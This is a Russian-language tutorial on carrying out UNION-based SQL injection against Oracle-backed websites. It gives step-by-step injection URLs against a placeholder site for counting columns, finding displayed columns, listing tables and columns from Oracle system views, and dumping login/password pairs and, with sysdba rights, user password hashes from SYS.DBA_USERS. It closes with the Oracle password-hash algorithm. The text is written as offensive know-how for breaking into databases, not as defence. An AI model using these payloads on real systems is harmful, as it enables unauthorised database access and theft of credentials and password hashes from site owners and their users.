Проведение SQL инъекций в Oracle
[Введение]
Последнее время при исследовании различных веб проектов на уязвимости, стал натыкаться на sql инъекции в Oracle. Хотя в настоящее время редко можно встретить использование этой СУБД в Веб программировании, но все-таки такое случается. Все исследования заканчивались простым обнаружением баги, что делать дальше было непонятно. В ходе поиска статьи, хорошо описывающей практические аспекты эксплуатации данной уязвимости в Oracle, такой как статьи cash и spyder, описывающих инъекции в MSSQL и PostgreSQL, найти не удалось.
В результате поиска была найдена, только лишь серия статей k00p3r, причем полностью копипастнутых со сторонних источников и являющихся простым переводом, прочтение которых не давало ясного представления о проведении скулей в Oracle, т.к. статьи по сути имеют большой объем, носят теоретический характер, и по большей части содержат воду.
В конечном итоге пришлось вспоминать институтские навыки работы с Oracle и перечитывать кучу разрозненной информации в интернет. В этой статье хотелось бы поделиться с вами тем, что мне удалось накопать по проведению sql injection в Oracle и постараться объединить это в одно целое.
Ну и попытаться восполнить пробел, и дополнить серию статей cash и spyder.
[Особенности Oracle]
Вначале приведу некоторые свойства, которые необходимо учитывать при проведении инъекции в Oracle. Сразу хочу оговориться, что в статье рассматривается проведение инъекций в операторе SELECT. Хотя проведение инъекций в операторах INSERT, UPDATE и DELETE, так же возможно.
Так же немаловажен факт, что в статье рассматриваются вопросы проведения инъекции именно в запросах SQL Oracle, а не в процедурах PL/SQL Oracle. Существенное отличие инъекций в процедурах PL/SQL заключается в возможности использования разделителя запросов - символа точки с запятой ";". Но про это имхо нужно писать отдельную статью, с описанием всех вытекающих последствий. Тем более автор считает что в Веб приложениях наиболее часто встречаются инъекции именно в запросах SQL (по крайней мере я сталкивался только с такими).
В Oracle, так же как и в MySQL и в PostgreSQL, инъекция проводится путем использования оператора UNION, т.е. с составлением объединения двух запросов ( далее по тексту для простоты понимания используется термин - подзапрос). Но помимо совпадения количества столбцов в основном запросе и подзапросе необходимо учитывать, что Oracle не осуществляет автоматического приведения типов в подзапросе. Поэтому при подборе столбцов необходимо подставлять null, в отличии, например от MySQL.
Так же очень важным свойством является то, что все запросы SELECT должны производиться из какой-то таблицы, т.е. синтаксис запроса всегда должен содержать слово FROM и имя таблицы. Для простых арифметических вычислений или других операций, не требующих реальную таблицу, в Oracle существует псевдо таблица SYS.DUAL.
Немаловажным свойством является отсутствие оператора LIMIT.
Для усечения запроса используются символы комментариев “--”(два тире) и "/*"(прямой слеш и звездочка) в SQL Oracle. Первый тип коментариев -однострочный. Второй тип - многострочный.
Нет возможности использования в SQL Oracle нескольких запросов с применением разделителя “;”, в отличии от процедур на PL/SQL.
При обнаружении ошибки можно однозначно идентифицировать Oracle, по присутствию слова ORA в тексте сообщения об ошибке, например:
Macromedia][Oracle JDBC Driver][Oracle]ORA-00933: SQL command not properly ended
Не всегда в тексте ошибки присутствует слово Oracle, например
Warning: OCIStmtExecute: ORA-01722: invalid number in
[Подбор столбцов]
Пусть ошибка присутствует в параметре id:
www.site.com/view.php?id=1’
Определение количества столбцов присутствующих в основном запросе происходит так же, как и в MySQL. Так как оператор UNION требует одинакового количества столбцов, как в основном запросе, так и в подзапросе нам нужно количество этих столбцов определить. При неправильном указании столбцов в подзапросе выводится стандартное сообщение об ошибке:
ORA-XXXXX: query block has incorrect number of result columns
Для подбора столбцов существует 2 известных способа и хорошо описанных в статье spyder. Но приведу их еще раз, дабы читателю не бегать по статьям:
1. Простой перебор.
Составим следующий запрос
www.site.com/view.php?id=-1+union+select+null+from+sys.dual--
Если ошибка появилась, увеличиваем количество столбцов на один
www.site.com/view.php?id=-1+union+select+null, null+from+sys.dual--
и так пока не исчезнет ошибка.
2. Использование оператора ORDER BY
Второй способ намного быстрее и приятнее, если количество столбцов достаточно большое. Составим следующий запрос
www.site.com/view.php?id=-1+order+by+1--
если ошибки нет, значит столбцов 1 или более 1
www.site.com/view.php?id=-1+order+by+99999--
При таком запросе должна появиться ошибка, что означает столбцов меньше 99999. Далее таким же образом сужаем границы выбранного интервала слева и справа и в конечном итоге определяем реальное количество столбцов в основном запросе.
[Определение принтабельных столбцов]
Допустим, мы определили точное количество столбцов в основном запросе, предположим их 4.
www.site.com/view.php?id=-1+union+select+null, null, null, null+from+sys.dual--
Теперь нам необходимо определить те столбцы, которые выводятся на страницу. Обычно в выводе участвуют столбцы с типами данных int,char и data. Нам будет достаточно принтабильных столбцов с типами int и char, их и будем искать.
Как было отмечено ранее, Oracle не осуществляет автоматического приведения типов в подзапросе. Поэтому при попытке подстановки в какой либо столбец значения несоответствующего типа мы получим следующую ошибку несоответствия типов
ORA-XXXXX: expression must have same datatype as corresponding expression
Далее мы начинаем составлять запросы, поочередно заменяя каждый столбец на любое число
www.site.com/view.php?id=-1+union+select+123, null, null, null+from+sys.dual--
....
www.site.com/view.php?id=-1+union+select+null, 123, null, null+from+sys.dual--
Таким образом, мы выявим принтабельные столбцы с типом int. В том случае если мы получим ошибку несоответствия типов, мы можем воспользоваться функциями преобразования типов to_char(), to_date() и выявить принтабельные столбцы с типами char и data.
www.site.com/view.php?id=-1+union+select+null, to_char(123), null, null+from+sys.dual--
Для справки приведу синтаксис функции to_char():
to_char( value, [ format_mask ], [ nls_language ] )
[Получение информации]
После того как мы узнали количество столбцов и какие из них принтабельны, мы можем смело переходить к получению необходимой информации из базы. Хорошо если нам известны определенные таблицы в базе и столбцы в них, тогда получение информации не составит особого труда. Например, если существует таблица USERS со столбцами ID, LOGIN и PASSWORD, то запрос на получение этих данных будет выглядеть следующим образом
www.site.com/view.php?id=-1+union+select+null, login, password, null+from+users+where+id=123--
Так же как и в MySQL, для удобства отображения и преодоления различных проблем с кодировками можно воспользоваться функциями concat(), to_char().
Для преодоления фильтрации кавычек или других необходимых символов, существует функция chr().
[Таблицы и столбцы]
Если пользовательские таблицы нам неизвестны, то мы можем получить различную информацию из известных системных таблиц Oracle.
Узнать имя пользователя, под которым работает интерфейс, а значит и вы, можно вызвав функции user или sys.login_user
www.site.com/view.php?id=-1+union+select+null, user, null, null+from+sys.dual--
Получить список сессий можно вот так: select * from V$session
Большой интерес представляют таблицы SYS.USER_TABLES и SYS.USER_TAB_COLUMNS, которые содержат все таблицы и их столбцы доступные пользователю. Вытаскиваем имена таблиц и столбцов:
www.site.com/view.php?id=-1+union+select+null, table_name, null, null+from+sys.user_tables--
www.site.com/view.php?id=-1+union+select+null, column_name, null, null+from+sys.user_tab_columns--
Так же, на мой взгляд, в таблице SYS.USER_TABLES помимо table_name, вызывают интерес следующие столбцы: tablespace_name, num_rows, freelist_groups.
Но, к сожалению, составленные выше запросы выведут нам лишь по одной - первой записи из всей таблицы. Возникает непреодолимое желание воспользоваться оператором LIMIT, как в MySQL или в PostgreSQL. К огромному всеобщему разочарованию данный оператор не поддерживается в Oracle, и более того не имеет достойного эквивалента в виде другого оператора.
“ВСЕ ПРОПАЛО!!!” – скажете вы.
“НЕТ!!!” – отвечу я вам.
Помучив изрядно google, я все-таки нашел возможность составить сложный запрос хоть как-то отдаленно реализующий смысловую нагрузку оператора LIMIT. К сожалению, не удалось восстановить его возможности в полном объеме.
www.site.com/view.php?id=-1+union+select+null, table_name, null, null+from+sys.user_tables+where+rownum+<=+5--
Таким образом, перебирая различное количество записей в выборке, мы можем посмотреть по очереди все имена таблиц. Туже самую конструкцию мы можем использовать при просмотре таблицы SYS.USER_TAB_COLUMNS, при получении всех имен столбцов доступных пользователю.
Так же в Oracle существует понятие префикса объекта (таблица является объектом), который присутствует в названии или имени таблицы:
ALL_ - все доступные пользователю (владельцем может и не быть),
USER_ - объекты, чьим владельцем этот пользователь является.
Следовательно, мы можем упростить себе задачу и вытащить имена только тех таблиц, к которым мы имеем доступ
www.site.com/view.php?id=-1+union+select+null, table_name, null, null+from+sys.all_tables
Интерес так же может представлять информация из следующих стандартных таблиц: SYS.USER_OBJECTS, SYS.USER_VIEWS, SYS.USER_VIEWS, SYS.USER_CATALOG, SYS.USER_TRIGGERS, SYS.TAB.
[Пароли]
Если нам повезло и пользователь, под которым мы работаем с базой, имеет права sysdba, то мы можем получить хеши всех пользователей базы.
Основное место хранения свертки пароля (хеш) - таблица словаря-справочника SYS.USER$. Над этой таблицей как базовой построена производная, SYS.DBA_USERS. Если в профиле пользователя включен параметр PASSWORD_REUSE_TIME, свертки пароля также хранятся в SYS.USER_HISTORY$. Достать хеши и имена пользователей можно вот так
www.site.com/view.php?id=-1+union+select+null, username, password, null+from+sys.dba_users
Для полноты информации представлю еще и алгоритм вычисления свертки пароля, на всякий случай, может кому и пригодится:
1. К имени пользователя приклеивается справа текст пароля.
2. В получившейся строке буквам повышается регистр.
3. Символы строки переводятся в двухбайтовый формат дополнением слева нулевым значением 0x00 (для символов ASCII), и справа строка дописывается нулевыми байтами до общей длины 80.
4. Получившаяся строка шифруется алгоритмом DES в режиме сцепления блоков шифротекста (CBC) ключом 0x0123456789ABCDEF.
5. Из последнего блока результата удаляются разряды четности и полученная строка (56 разрядов) используется для нового шифрования исходной строки тем же способом.
6. Последний блок результата переводится в знаки шестнадцатиричной арифметики и объявляется конечным результатом - сверткой.
Дата створення/оновлення: 25.05.2018